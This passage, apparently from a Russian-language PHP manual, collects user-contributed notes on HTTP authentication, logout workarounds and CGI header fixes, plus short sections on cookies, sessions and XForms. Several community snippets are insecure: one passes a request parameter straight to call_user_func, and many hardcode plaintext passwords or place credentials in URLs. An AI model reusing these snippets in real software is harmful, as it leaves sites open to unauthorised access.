    $_SERVER['PHP_AUTH_PW'] = strip_tags($password);
}

//set http auth headers for apache+php-cgi work around if variable gets renamed by apache
if (isset($_SERVER['REDIRECT_HTTP_AUTHORIZATION']) && preg_match('/Basic\s+(.*)$/i', $_SERVER['REDIRECT_HTTP_AUTHORIZATION'], $matches)) {
    list($name, $password) = explode(':', base64_decode($matches[1]));
    $_SERVER['PHP_AUTH_USER'] = strip_tags($name);
    $_SERVER['PHP_AUTH_PW'] = strip_tags($password);
}
?>
ceo at l-i-e dot com 13-Oct-2010 03:51
To force a logout with Basic Auth, you can change the Realm out from under them to a different Realm.

This forces a new set of credentials for a new "Realm" on your server.

You just need to track the Realm name with the user/pass and change it around to something new/random as they log in and out.

I believe that this is the only 100% guaranteed way to get a logout in HTTP Basic Auth, and if it were part of the docs a whole lot of BAD user-contributed comments here could be deleted.
Ollie L 24-Sep-2010 04:16
I tried example 7, and at first I couldn't get it to work. It took me a while to spot that somewhere along the line, probably by the server, a seemingly random number was being added to the realm - so the valid_result variable wasn't calculated using the correct realm.

To get around this, or any similar problems, make the following changes to the example:

Around line 43 (44 if after next step ;) ):
$needed_parts = array('nonce'=>1, 'nc'=>1, 'cnonce'=>1, 'qop'=>1, 'username'=>1, 'uri'=>1, 'response'=>1, 'realm'=>1);

Before line 24:
$realm = $data['realm'];

These two steps get the real realm used for the authentication request, and substitute it into the "valid_response" query.

Hope this helps :)
idbobby at rambler dot ru 12-Aug-2010 02:31
First of all, sorry for my English.
One more authorization script with logout solution.
In script given by meint_at_meint_dot_net (http://www.php.net/manual/en/features.http-auth.php#93859) rewrite_module is used. If there are any problems with that module and possibilities of administration of the web-server are restricted (including restrictions for use of .htaccess) then you can use this solution.

index.php
---------

<?php

$auth_realm = 'My realm';

require_once 'auth.php';

echo "You've logged in as {$_SESSION['username']}<br>";
echo '<p><a href="?action=logOut">LogOut</a></p>'

?>

auth.php
--------

<?php

$_user_ = 'test';
$_password_ = 'test';

session_start();

$url_action = (empty($_REQUEST['action'])) ? 'logIn' : $_REQUEST['action'];
$auth_realm = (isset($auth_realm)) ? $auth_realm : '';

if (isset($url_action)) {
    if (is_callable($url_action)) {
        call_user_func($url_action);
    } else {
        echo 'Function does not exist, request terminated';
    };
};

function logIn() {
    global $auth_realm;

    if (!isset($_SESSION['username'])) {
        if (!isset($_SESSION['login'])) {
            $_SESSION['login'] = TRUE;
            header('WWW-Authenticate: Basic realm="'.$auth_realm.'"');
            header('HTTP/1.0 401 Unauthorized');
            echo 'You must enter a valid login and password';
            echo '<p><a href="?action=logOut">Try again</a></p>';
            exit;
        } else {
            $user = isset($_SERVER['PHP_AUTH_USER']) ? $_SERVER['PHP_AUTH_USER'] : '';
            $password = isset($_SERVER['PHP_AUTH_PW']) ? $_SERVER['PHP_AUTH_PW'] : '';
            $result = authenticate($user, $password);
            if ($result == 0) {
                $_SESSION['username'] = $user;
            } else {
                session_unset($_SESSION['login']);
                errMes($result);
                echo '<p><a href="">Try again</a></p>';
                exit;
            };
        };
    };
}

function authenticate($user, $password) {
    global $_user_;
    global $_password_;

    if (($user == $_user_)&&($password == $_password_)) { return 0; }
    else { return 1; };
}

function errMes($errno) {
    switch ($errno) {
        case 0:
            break;
        case 1:
            echo 'The username or password you entered is incorrect';
            break;
        default:
            echo 'Unknown error';
    };
}

function logOut() {

    session_destroy();
    if (isset($_SESSION['username'])) {
        session_unset($_SESSION['username']);
        echo "You've successfully logged out<br>";
        echo '<p><a href="?action=logIn">LogIn</a></p>';
    } else {
        header("Location: ?action=logIn", TRUE, 301);
    };
    if (isset($_SESSION['login'])) { session_unset($_SESSION['login']); };
    exit;
}

?>
Ome Ko 25-Mar-2010 03:04
a link to http://logout:logout@<?=$_SERVER['HTTP_HOST'];?>/SECRET/ would force a fresh login for the /SECRET directory if no user logout with password logout exists.

[NOTE BY danbrown AT php DOT net: The following note was added by "Anonymous" on 01-APR-2010 (though we presume it's not an April Fool's Day joke).]

this logout method does not work 100% anymore, because of another bulls**t from M$:
http://support.microsoft.com/kb/834489
Anonymous 09-Sep-2009 10:02
The regex in http_digest_parse from Example #2 does not work for me (PHP 5.2.6), because back references are not allowed in a character class.  This worked for me:

<?php

// function to parse the http auth header
function http_digest_parse($txt)
{
   // protect against missing data
   $needed_parts = array('nonce'=>1, 'nc'=>1, 'cnonce'=>1, 'qop'=>1, 'username'=>1, 'uri'=>1, 'response'=>1);
   $data = array();

   preg_match_all('@(\w+)=(?:(?:\'([^\']+)\'|"([^"]+)")|([^\s,]+))@', $txt, $matches, PREG_SET_ORDER);

   foreach ($matches as $m) {
       $data[$m[1]] = $m[2] ? $m[2] : ($m[3] ? $m[3] : $m[4]);
       unset($needed_parts[$m[1]]);
   }

   return $needed_parts ? false : $data;
}

?>
s dot i dot g at gmx dot com 06-Sep-2009 12:34
<?php

// try to mimic cpanel logout style
// only diff is usr & pwd field is cleared when re-login
// tested with ff2 & ie8

session_start();

$username = "test";
$password = "test";

if(isset($_GET['logout']))
{
  unset($_SESSION["login"]);
  echo "You have logout ... ";
  echo "[<a href='" . $_SERVER['PHP_SELF'] . "'>Login</a>]";
  exit;
}

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) || !isset($_SESSION["login"]))
{
  header("WWW-Authenticate: Basic realm=\"Test\"");
  header("HTTP/1.0 401 Unauthorized");
  $_SESSION["login"] = true;
  echo "You are unauthorized ... ";
  echo "[<a href='" . $_SERVER['PHP_SELF'] . "'>Login</a>]";
  exit;
}
else
{
  if($_SERVER['PHP_AUTH_USER'] == $username && $_SERVER['PHP_AUTH_PW'] == $password)
  {
    echo "You have logged in ... ";
    echo "[<a href='" . $_SERVER['PHP_SELF'] . "?logout'>Logout</a>]";
  }
  else
  {
    unset($_SESSION["login"]);
    header("Location: " . $_SERVER['PHP_SELF']);
  }
}

// content here

?>
Yuriy 15-Feb-2009 06:11
Good day.
Sorry for my english.
This example shows programming "LOGIN", "LOGOUT" and "RE-LOGIN".
This script must use in the protected pages.
For work this script the browser address string must be following:
"http://localhost/admin/?login" - for Login,
"http://localhost/admin/?logout" - for Logout,
"http://localhost/admin/?logout&login" - for Re-Login.
<?php
session_start();

$authorized = false;

# LOGOUT
if (isset($_GET['logout']) && !isset($_GET["login"]) && isset($_SESSION['auth']))
{
    $_SESSION = array();
    unset($_COOKIE[session_name()]);
    session_destroy();
    echo "logging out...";
}

# checkup login and password
if (isset($_SERVER['PHP_AUTH_USER']) && isset($_SERVER['PHP_AUTH_PW']))
{
    $user = 'test';
    $pass = 'test';
    if (($user == $_SERVER['PHP_AUTH_USER']) && ($pass == ($_SERVER['PHP_AUTH_PW'])) && isset($_SESSION['auth']))
    {
    $authorized = true;
    }
}

# login
if (isset($_GET["login"]) && !$authorized ||
# relogin
    isset($_GET["login"]) && isset($_GET["logout"]) && !isset($_SESSION['reauth']))
{
    header('WWW-Authenticate: Basic Realm="Login please"');
    header('HTTP/1.0 401 Unauthorized');
    $_SESSION['auth'] = true;
    $_SESSION['reauth'] = true;
    echo "Login now or forever hold your clicks...";
    exit;
}
$_SESSION['reauth'] = null;
?>
<h1>you have <? echo ($authorized) ? (isset($_GET["login"]) && isset($_GET["logout"]) ? 're' : '') : 'not '; ?>logged!</h1>
Lars Stecken 12-Feb-2008 10:23
To anybody who tried the digest example above and didn't get it to work.

For me the problem seemed to be the deprecated use of '\' (backslash) in the regex instead of the '$' (Dollar) to indicate a backreference. Also the results have to be trimmed off the remaining double and single quotes.

Here's the working example:

// function to parse the http auth header
function http_digest_parse($txt)
{

    // protect against missing data
    $needed_parts = array('nonce'=>1, 'nc'=>1, 'cnonce'=>1, 'qop'=>1, 'username'=>1, 'uri'=>1, 'response'=>1);
    $data = array();

    preg_match_all('@(\w+)=(?:([\'"])([^$2]+)$2|([^\s,]+))@', $txt, $matches, PREG_SET_ORDER);

    foreach ($matches as $m) {
        $data[$m[1]] = $m[3] ? trim($m[3],"\",'") : trim($m[4],"\",'");
        unset($needed_parts[$m[1]]);
    }

    return $needed_parts ? false : $data;
}

Probably there's a more sophisticated way to trim the quotes within the regex, but I couldn't be bothered :-)

Greets, Lars
gbelyh at gmail dot com 26-Jul-2007 11:48
Back to the autherisation in CGI mode. this is the full working example:

#  Create the .htaccess file with following contents:
# also you can use the condition (search at this page)
RewriteEngine on
RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization},L]

# In the beginning the script checking the authorization place the code:

$userpass = base64_decode(substr($_SERVER["REDIRECT_REMOTE_USER"],6)) ;

$userpass = explode(":", $userpass);

if (  count($userpass) == 2  ){
     #this part work not for all.
     #print_r($userpass);die; #<- this can help find out right username and password
     list($name, $password) = explode(':', $userpass);
     $_SERVER['PHP_AUTH_USER'] = $name;
     $_SERVER['PHP_AUTH_PW'] = $password;

}
Nicolas Merlet - admin(at)merletn.org 05-Mar-2007 09:37
Be careful using http digest authentication (see above, example 34.2) if you have to use the 'setlocale' function *before* validating response with the 'http_digest_parse' function, because there's a conflict with \w in the pattern of 'preg_match_all' function :

In fact, as \w is supposed to be any letter or digit or the underscore character, you must not forgot that this may vary depending on your locale configuration (eg. it accepts accented letters in french)...

Due to this different pattern interpretation by the 'preg_match_all' function, the 'http_digest_parse' function will always return a false result if you have modified your locale (I mean if your locale accepts some extended characters, see http://fr.php.net/manual/en/reference.pcre.pattern.syntax.php for further information).

IMHO, I suggest you not to use setlocale before having your authentication completed...

PS : Here's a non-compatible setlocale declaration...
setlocale ( LC_ALL, 'fr_FR', 'fr', 'FR', 'french', 'fra', 'france', 'French', 'fr_FR.ISO8859-1' ) ;
webmaster at kratia dot com 20-Feb-2007 04:53
This is the simplest form I found to do a Basic authorization with retries.

<?php

$valid_passwords = array ("mario" => "carbonell");
$valid_users = array_keys($valid_passwords);

$user = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];

$validated = (in_array($user, $valid_users)) && ($pass == $valid_passwords[$user]);

if (!$validated) {
  header('WWW-Authenticate: Basic realm="My Realm"');
  header('HTTP/1.0 401 Unauthorized');
  die ("Not authorized");
}

// If arrives here, is a valid user.
echo "<p>Welcome $user.</p>";
echo "<p>Congratulation, you are into the system.</p>";

?>
Whatabrain 10-Nov-2006 07:05
Back to the problem of authenticating in CGI mode... mcbethh suggested using this to set a local variable in php:
RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization},L]

It didn't work. I couldn't see the variable. My solution is pretty round-about, but it works:

RewriteEngine on
RewriteCond %{HTTP:Authorization} !^$
RewriteCond %{REQUEST_METHOD} =GET
RewriteCond %{QUERY_STRING} =""
RewriteRule ^page.php$ page.php?login=%{HTTP:Authorization}$1

This causes the Auth string to be added to the URL if there are no parameters and it's a GET request. This prevents POSTs and parameter lists from being corrupted.

Then, in the PHP script, I store the Auth string as a session cookie.

So the only way to log in to my script is to go to the url with no parameters.
admin at isprohosting dot com 01-Nov-2006 06:21
There are .htaccess which actually works for us (cPanel + phpsuexec) unless others failed. Perhaps it may help someone.

# PHP (CGI mode) HTTP Authorization with ModRewrite:
RewriteEngine on
RewriteCond %{HTTP:Authorization} ^(.*)
RewriteRule ^(.*) - [E=HTTP_AUTHORIZATION:%1]

Then you need small piece of php code to parse this line and then everything will work like with mod_php:

if (isset($_SERVER['HTTP_AUTHORIZATION']))
{
$ha = base64_decode( substr($_SERVER['HTTP_AUTHORIZATION'],6) );
list($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW']) = explode(':', $ha);
unset $ha;
}

Enjoy!
SlamJam 23-Oct-2006 11:28
I used Louis example (03-Jun-2006) and it works well for me (thanks).

However, I added some lines, to make sure, the user does only get the Authentification-Window a few times:

<?php
$realm = mt_rand( 1, 1000000000)."@YourCompany";
$_SESSION['realm'] = $realm;

// In the beginning, when the realm ist defined:
$_SESSION['CountTrials'] = 1;
?>

And then when it comes to check the authentification (ZEND-Tutorial):

<?php

// Not more than 3 Trials
if (!$auth) {
   $_SESSION['CountTrials']++;
   if ($_SESSION['CountTrials'] == 4) {
       session_destroy() ;
       header('Location: noentry.php');
       exit ;
   } else {
       header("WWW-Authenticate: Basic realm=".$_SESSION['realm']);
       header("HTTP/1.0 401 Unauthorized");
       echo 'Authorization Required.';
       exit;
   }
} else {
         echo '<P>You are authorized!</P>';
}
?>

noentry.php is slightely different from comeagain.php.
roychri at php dot net 10-Oct-2006 08:12
For PHP with CGI, make sure you put the rewrite rule above any other rewrite rule you might have.

In my case, I put this at the top of the .htaccess (below RewriteEngine On):
RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization}]

My symptom was that the REMOTE_USER (or REDIRECT_REMOTE_USER in my case) was not being set at all.
The cause: I had some other RewriteRule that was kickin in and was set as LAST rule.
I hope this helps.
web at kwi dot dk 12-Jul-2006 10:23
While Digest authentication is still far superior to Basic authentication, there are a number of security issues that one must keep in mind.

In this respect, the Digest example given above is somewhat flawed, because the nonce never times out or otherwise become invalid. It thus becomes a password-equivalent (although to that specific URL only) and can be used by an eavesdropper to fetch the page at any time in the future, thus allowing the attacker to always access the latest version of the page, or (much worse) repeatedly invoke a CGI script -- for instance, if the user requests the URL "/filemanager?delete=somefile", the attacker can repeat this deletion at any point in the future, possibly after the file has been recreated.

And while it might not be possible to change GET data without reauthentication, cookies and POST data *can* be changed.

To protect against the first problem, the nonce can be made to include a timestamp, and a check added to ensure that nonces older than e.g. 30 minutes result in a new authentication request.

To solve the second problem, a one-time only nonce needs to be generated -- that is, all further requests using a particular nonce must be refused.

One way to do this: When the user requests an action such as "deletefile", store a randomly generated nonce in a session variable, issue a 401 authentication challenge with that nonce, and then check against the stored value when receiving the authentication (and clear the session variable).

This way, although a possible eavesdropper receives the nonce and thus gains the ability to perform the action, he can only perform it once -- and the user was going to perform it anyway. (Only the user or the attacker, but not both, gets to perform the action, so it's safe.)

Of course, at some point, the security can only be improved by switching to HTTPS / SSL / TLS (this is for instance the only way to defend against man-in-the-middle attacks). You decide the level of security.
Louis 03-Jun-2006 03:51
I couldn't get authentication to work properly with any of the examples. Finally, I started from ZEND's tutorial example at:
http://www.zend.com/zend/tut/authentication.php?article=authentication (validate using .htpasswd) and tried to deal with the additional cases. My general conclusion is that changing the realm is the only reliable way to cause the browser to ask again, and I like to thank the person who put that example in the manual, as it got me on the right path. No matter what, the browser refuses to discard the values that it already has in mind otherwise. The problem with changing the realm, of course, is that you don't want to do it within a given session, else it causes a new request for a password. So, here goes, hopefully the spacing isn't too messed up by the cut'n'paste.

I spent the better part of a day getting this to work right. I had a very hard time thinking through what the browser does when it encounters an authentication request: seems to me that it tries to get the password, then reloads the page... so the HTML doesn't get run. At least, this was the case with IE, I haven't tested it with anything else.

<?php
session_start() ;
if (!isset($_SESSION['realm'])) {
        $_SESSION['realm'] = mt_rand( 1, 1000000000 ).
                " SECOND level: Enter your !!!COMPANY!!! password.";

        header( "WWW-Authenticate: Basic realm=".$_SESSION['realm'] );

        //  Below here runs HTML-wise only if there isn't a $_SESSION,
        // and the browser *can't* set $PHP_AUTH_USER... normally
        // the browser, having gotten the auth info, runs the page
        // again without getting here.
        //  What I'm basically getting to is that the way to get
        // here is to escape past the login screen. I tried
        // putting a session_destroy() here originally, but the
        // problem is that the PHP runs regardless, so the
        // REFRESH seems like the best way to deal with it.
        echo "<meta http-equiv=\"REFRESH\"
                content=\"0;url=index.php\">" ;
        exit;
        }

if ($_POST['logout'] == "logout") {
        session_destroy() ;
        header('Location: comeagain.php');
        exit ;
        }

// "standard" authentication code here, from the ZEND tutorial above.

comeagain.php is as follows:

<?
session_start();
unset($_SESSION['realm']);
session_destroy();
echo "<html><head><title>Logged Out</title><h1>Logout Page</h1><body>" ;
echo "You have successfully logged out of TOGEN";
echo " at ".date("h:m:s")." on ".date("d F Y") ;
echo "<p><a href=\"index.php\">Login Again</a>" ;
echo "</body></html>" ;
?>

The idea is to be able to trash the session (and thus reset the realm) without prompting the browser to ask again... because it has been redirected to logout.php.

With this combination, I get things to work. Just make sure not to have apache run htpasswd authentication at the same time, then things get really weird :-).
kembl at example dot com 23-May-2006 08:06
# PHP (CGI mode) HTTP Authorization with ModRewrite:
# most right example with header check for non empty:
 RewriteEngine on
 RewriteCond %{HTTP:Authorization}  !^$
 RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization}, \
E=PHP_AUTH_USER:%{HTTP:Authorization},L]
djreficul at yahoo dot com 15-Feb-2006 02:14
Well, I think it's easy to make authentification works correctly. I use a session var to force authentication everytime a user visit the logging area.

<?php
if (!isset ($_SESSION['firstauthenticate'])) {
    session_start();
}
  function authenticate() {
    header('WWW-Authenticate: Basic realm="Sistema autentificaci?n UnoAutoSur"');
    header('HTTP/1_0 401 Unauthorized');
//    header("Status: 401 Access Denied");
    echo "Unauthorized\n";
    exit;
  }
 if (!isset($_SERVER['PHP_AUTH_USER']) || strcmp ($_SERVER['PHP_AUTH_USER'],$user)!=0 ||
      !isset ($_SERVER['PHP_AUTH_PW']) || strcmp($_SERVER['PHP_AUTH_PW'],$pass)!=0 || !isset ($_SESSION['firstauthenticate']) || !$_SESSION['firstauthenticate']) {
     $_SESSION['firstauthenticate']=true;
   authenticate();
 } else {
            //I destroy the session var now
    session_unset();
            //Your code below
 }
?>
marco dot moser at oltrefersina dot it 09-Jan-2006 06:29
I suggest to demand user's authentication and management to the web server (by .htaccess, ...):

1. configure a global /logon/ directory with a .htaccess file restricted access

2. use fopen wrapper:

  $hh = @fopen("http://{$_SERVER['PHP_AUTH_USER']}:{$_SERVER['PHP_AUTH_PW']}".
    @{$_SERVER['SERVER_NAME']}/logon/", "r");
  if (!$hh) authenticate(); // usual header WWW-Authenticate ...
  fclose($hh);
siberion at hotmail dot com 24-Aug-2005 09:11
I came up with another approach to work around the problem of browsers caching WWW authentication credentials and creating logout problems. While most browsers have some kind of way to wipe this information, I prefer having my website to take care of the task instead of relying on the user's sanity.

Even with Lalit's method of creating a random realm name, it was still possible to get back into the protected area using the back button in Firefox, so that didn't work. Here's my solution:

Since browsers attach the credentials to specific URLs, use virtual paths where a component of the path is actually a PHP script, and everything following it is part of the URI, such as:

http://www.example.com/some_dir/login.php/auth/8f631b92/

By choosing a different number for the last component of the URL, browsers can be tricked into thinking that they are dealing with a completely different website, and thus prompting the user for credentials again.

Note that using a random, unrestricted number will still allow the user to hit the back button to get back into the page. You should keep track of this number in a server-side file or database and regenerate it upon each successful login, so that the last number(s) become invalid. Using an invalid number might result in a 403 response or, depending on how you feel that day, a 302 to a nasty website.

Care should be taken when linking from the page generated in this case, since relative links will be relative to the virtual and non-existant directory rather than the true script directory.

Hope this helps somebody.
snagnever at gmail dot com 18-Jun-2005 03:39
It forces a auth each time the page is accessed:
(maybe can save someone)

<?
header("Expires: Sat, 01 Jan 2000 00:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: post-check=0, pre-check=0",false);
header("Pragma: no-cache");
session_cache_limiter("public, no-store");
session_start();

function http_auth()
{
    $_SESSION['AUTH'] = 1;
    header('HTTP/1.0 401 Unauthorized');
    header('WWW-Authenticate: Basic realm="sn4g auth system"');
    // The actions to be done when the user clicks on 'cancel'
    exit();
}

if( !isset($_SERVER['PHP_AUTH_USER']) or @$_SESSION['AUTH'] != 1 )
{
    http_auth();
    exit();
}

// Actions do be done when the user has logged

// rest, must clean the session array
$_SESSION = array();
session_destroy();
?>
charly at towebs dot com 29-Apr-2005 10:13
A simpler approach on the post of:
bernard dot paques at bigfoot dot com
24-Sep-2004 01:42

This is another "patch" to the PHP_AUTH_USER and PHP_AUTH_PW server variables problem running PHP as a CGI.

First of all don't forget this fragment of code in your .htaccess (it's the only thing you need to make it work with mod_rewrite):

<IfModule mod_rewrite.c>
   RewriteEngine on
   RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization},L]
</IfModule>

Then login.php

<?php
$a = base64_decode( substr($_SERVER["REMOTE_USER"],6)) ;
if ( (strlen($a) == 0) || ( strcasecmp($a, ":" )  == 0 ))
{
   header( 'WWW-Authenticate: Basic realm="Private"' );
   header( 'HTTP/1.0 401 Unauthorized' );
}
else
{
   list($name, $password) = explode(':', $a);
   $_SERVER['PHP_AUTH_USER'] = $name;
   $_SERVER['PHP_AUTH_PW']    = $password;

}

echo 'PHP_AUTH_USER =' . $_SERVER['PHP_AUTH_USER'] . '<br>';
echo 'PHP_AUTH_PW =' . $_SERVER['PHP_AUTH_PW'] . '<br>';
echo 'REMOTE_USER =' . $_SERVER['REMOTE_USER'] . '<br>';
?>

First, we decode the base64 encoded string discarding the first 6 characters of "Basic " and then we do a regular validation.
At the end of the script we print the variables to verify it's working. This should be ommited in the production version.

It's a variation of the script by Bernard Paques.
Thanks to him for that snippet.
jason 14-Aug-2004 10:12
on the php+mysql auth code by tigran at freenet dot am

There are some security weaknesses.

First
$user
  and
$pass

are both insecure, they could leave this code open to SQL injection, you should always remove invalid characters in both, or at least encode them.

Actually storing passwords as MD5 hashes leaves you less work to secure.

Second security risks
The same mysql user has rights to both update and select, and possibly even insert and on your auth database no less.
Again the SQL inject attack may occur with this., and the end user could then change the users username, password, or anything else in relation to this.

Third items is more of a performance issue,

Do you really need to update the database, as updates are slower then selects, and if you do them every time they access the page, you are costing some speed penalty.

One option, if you want to use sql (I think mysql has it) is memory only databases, and create a table within memory, the stores a unique session identifier for each user, that is logged in, or alternatively if it's a single front end system, you could use db files.
php at cscott dot net 12-Aug-2004 04:18
Note that Microsoft has released a 'security update' which disables the use of username:password@host in http urls.

   http://support.microsoft.com/default.aspx?scid=kb;en-us;834489

The methods described above which rely on this will no longer work in Microsoft browsers, sadly.

You can re-enable this functionality as described at

   http://weblogs.asp.net/cumpsd/archive/2004/02/07/69366.aspx

but your users will probably be unwilling to do this.
nuno at mail dot ideianet dot pt 13-May-2004 03:33
In Windows 2003 Server/IIS6 with the php4+ cgi I only get HTTP authentication working with:
<?php header("Status: 401 Access Denied"); ?>
with
<?php header('HTTP/1.0 401 Unauthorized'); ?>
doesn't work !
I also need in "Custom Errors" to select the range of "401;1" through "401;5" and click the "Set to Default" button.
Thanks rob at theblip dot com
steuber at aego dot de 07-May-2004 04:15
Quite a good solution for the logout problem:

Just tell browser that it is successfully logged in!
This works as follows:
1. User clicks logout button
2. Script sends 401 Header
3. User does NOT enter a password
4. If no password is entered, script sends 200 Header

So the browser remembers no password as a valid password.

Example:

<?php
if (
       (!isset($_SERVER['PHP_AUTH_USER']))
    ||(
           ($_GET["login"]=="login")
    && !(
             ($_SERVER['PHP_AUTH_USER']=="validuser")
             && ($_SERVER['PHP_AUTH_PW']=="validpass")
           )
        )
    ||(
           ($_GET["logout"]=="logout")
     && !($_SERVER['PHP_AUTH_PW']=="")
        )
     ) {
Header("WWW-Authenticate: Basic realm=\"Realm\"");
Header("HTTP/1.0 401 Unauthorized");
echo "Not logged out...<br>\n";
echo "<a href=\"index.php?login=login\">Login</a>";
exit;
} else if ($_SERVER['PHP_AUTH_PW']=="") {
echo "Logged out...<br>\n";
echo "<a href=\"index.php?login=login\">Login</a>";
exit;
}
?>
najprogramato at post dot sk 27-Apr-2004 05:08
Don't use apache authentification in plain text. Is more better to use own script to generete new ID which is relevant to password. Apache auth data are sent to every page, so the posible mistake are known.
rob at theblip dot com 03-Mar-2004 08:47
Regarding HTTP authentication in IIS with the php cgi 4.3.4, there's one more step. I searched mightily and didn't find this information anywhere else, so here goes. When using HTTP auth with the php CGI, you need to do the following things:

1. In your php.ini file, set "cgi.rfc2616_headers = 0"

2. In Web Site Properties -> File/Directory Security -> Anonymous Access dialog box, check the "Anonymous access" checkbox and uncheck any other checkboxes (i.e. uncheck "Basic authentication," "Integrated Windows authentication," and "Digest" if it's enabled.) Click OK.

3. In "Custom Errors", select the range of "401;1" through "401;5" and click the "Set to Default" button.

It's this last step that is crucial, yet not documented anywhere. If you don't, instead of the headers asking for credentials, IIS will return its own fancy but useless 'you are not authenticated' page. But if you do, then the browser will properly ask for credentials, and supply them in the $_SERVER['PHP_AUTH_*'] elements.
Paul 08-Nov-2003 03:53
Here is a extremely easy way to successfully logout.

<?php
if ( $realm == '' )
$realm = mt_rand( 1, 1000000000 );
    header( 'WWW-Authenticate: Basic realm='.$realm );
?>

To log the user out simply change the value of $realm
emmanuel dot keller at net2000 dot ch 14-Jan-2003 02:14
Some servers won't support the HTTP1.0 specification and will give an error 500 (for instance). This happened with a server where I uploaded an authentication script.

If it happens, you can try the HTTP1.1 header syntax :

<?php
header("WWW-Authenticate: Basic realm=\"My Realm\"");
header('status: 401 Unauthorized');
?>
sjeffrey at inquesis dot com 29-Jan-2002 03:00
To get it to work with IIS try using this code before setting your "$auth = 0" and the "if (isset($PHP_AUTH_USER) && isset($PHP_AUTH_PW))"

<?php
//////////////////////////////////////////

if ($PHP_AUTH_USER == "" && $PHP_AUTH_PW == "" && ereg("^Basic ", $HTTP_AUTHORIZATION))
{
  list($PHP_AUTH_USER, $PHP_AUTH_PW) =
    explode(":", base64_decode(substr($HTTP_AUTHORIZATION, 6)));
}

//////////////////////////////////////////
?>

It worked for me on IIS 5 and PHP 4 in ISAPI


Cookies

PHP прозрачно поддерживает HTTP cookies. Cookies - это механизм хранения данных браузером удалённой машины для отслеживания или идентификации возвращающихся посетителей. Вы можете установить cookies при помощи функций setcookie() или setrawcookie(). Cookies являются частью HTTP-заголовка, поэтому setcookie() должна вызываться до любого вывода данных в браузер. Это то же самое ограничение, которое имеет функция header(). Вы можете использовать функции буферизации вывода, чтобы задержать вывод результатов работы скрипта до того момента, когда будет известно, понадобится ли установка cookies или других заголовков.

Любые cookies, отправленные серверу браузером клиента, будут автоматически включены в суперглобальный массив $_COOKIE, если директива variables_order содержит букву "C". Для назначения нескольких значений одной cookie, просто добавьте [] к её имени.

Дополнительная информация, в том числе и особенности реализации браузеров, приведена в описании функций setcookie() и setrawcookie().

User Contributed Notes

codewithsudeep at gmail dot com 04-Mar-2023 04:22
<?php
// Example
// Setting a cookie
setcookie("usertoken", "noice", time()+20*24*60*60);
// 20 days = 20*24*60*60 seconds

setcookie("usertoken", "", time()-3600)
?>


Сессии

Сессии PHP представляют собой различные способы сохранения данных для дальнейшего доступа к ним. Они позволяют создавать более гибкие приложения и улучшают привлекательность вашего сайта. Подробная информация находится в справочнике сессий.

User Contributed Notes

There are no user contributed notes for this page.


Работа с XForms

» XForms являются альтернативой традиционным веб-формам, и позволяют использовать их на множестве платформ и браузеров, а также реализовывать нестандартные представления форм, например, в виде PDF-документа.

Первое существенное отличие XForms заключается в том, как форма отсылается клиенту. Руководство » XForms for HTML Authors содержит детальное описание создания XForms. Для того, чтобы очертить основную идею руководства, приведём несколько простых примеров.

Пример #1 Простая поисковая форма XForms

<h:html xmlns:h="http://www.w3.org/1999/xhtml"
        xmlns="http://www.w3.org/2002/xforms">
<h:head>
 <h:title>Поиск</h:title>
 <model>
  <submission action="http://example.com/search"
              method="post" id="s"/>
 </model>
</h:head>
<h:body>
 <h:p>
  <input ref="q"><label>Что искать?</label></input>
  <submit submission="s"><label>Найти</label></submit>
 </h:p>
</h:body>
</h:html>

Приведённая выше форма отображает текстовое поле для ввода (названное q) и кнопку для отправки формы, при нажатии на которую все введённые данные будут отправлены скрипту, указанному в поле action.

Тут мы подошли к ещё одному существенному различию с точки зрения вашего веб-приложения. Стандартная HTML-форма отправляет данные как application/x-www-form-urlencoded, а XForms для передачи данных использует разметку XML.

Если вы решили работать с XForms, скорее всего вы захотите получить отправленные пользователем данные в формате XML. В таком случае обратите внимание на переменную $HTTP_RAW_POST_DATA, в ней содержится XML-документ, сгенерированный браузером, который в дальнейшем можно обработать предпочитаемым вами движком XSLT или парсером документа.

Если разметка вас не интересует, и вы хотите, чтобы передаваемые данные были помещены в стандартный массив $_POST, вы можете указать клиентскому браузеру на необходимость отправлять данные в формате application/x-www-form-urlencoded. Для этого установите атрибут method значением urlencoded-post.

Пример #2 Использование XForm совместно с массивом $_POST

<h:html xmlns:h="http://www.w3.org/1999/xhtml"
        xmlns="http://www.w3.org/2002/xforms">
<h:head>
 <h:title>Поиск</h:title>
 <model>
  <submission action="http://example.com/search"
              method="urlencoded-post" id="s"/>
 </model>
</h:head>
<h:body>
 <h:p>
  <input ref="q"><label>Что искать?</label></input>
  <submit submission="s"><label>Найти</label></submit>
 </h:p>
</h:body>
</h:html>

Замечание: В дополнение к вышесказанному следует заметить, что большое количество браузеров не поддерживают XForms. Если приведённые примеры потерпели неудачу, проверьте версию используемого вами браузера.

User Contributed Notes

contact at jimmajammalulu dot com 15-Sep-2020 07:56
According to MDN XForms has long been obsolete.
Darkener Daemon EX 13-Feb-2006 09:21
"php://stdin" doesn't exist in my PHP version. I use the following code block instead :
<?php
if (!isset($HTTP_RAW_POST_DATA))
    $HTTP_RAW_POST_DATA = file_get_contents("php://input");
?>
OrionI 07-Jul-2005 11:33
FireFox has an XForms plugin that works with the latest nightly builds. Check out http://www.mozilla.org/projects/xforms/ for more info. For IE support, there's an ActiveX control from Novell (http://developer.novell.com/xforms/) and one from x-port.net (http://www.formsplayer.com/).

There's also a JavaScript-based one coming out called FormFaces which looks very promising, especially since there are no plugins required and it works in IE, FF, and Opera: http://www.formfaces.com/
lphuberdeau at phpquebec dot org 20-Aug-2004 09:55
Since HTTP_RAW_POST_DATA requires a configuration to be generated and is not enabled as a default value, you will probably have to use the PHP STDIN stream to get the raw data. It's probably better to use this method as the raw data will not be generated every time, even when not needed.

<?php
$fp = fopen( "php://stdin", "r" );
$data = '';
while( !feof( $fp ) )
    $data .= fgets( $fp );
fclose( $fp );
?>


Загрузка файлов на сервер

Содержание

  • Загрузка файлов методом POST
  • Объяснение сообщений об ошибках
  • Наиболее распространённые ошибки
  • Загрузка нескольких файлов
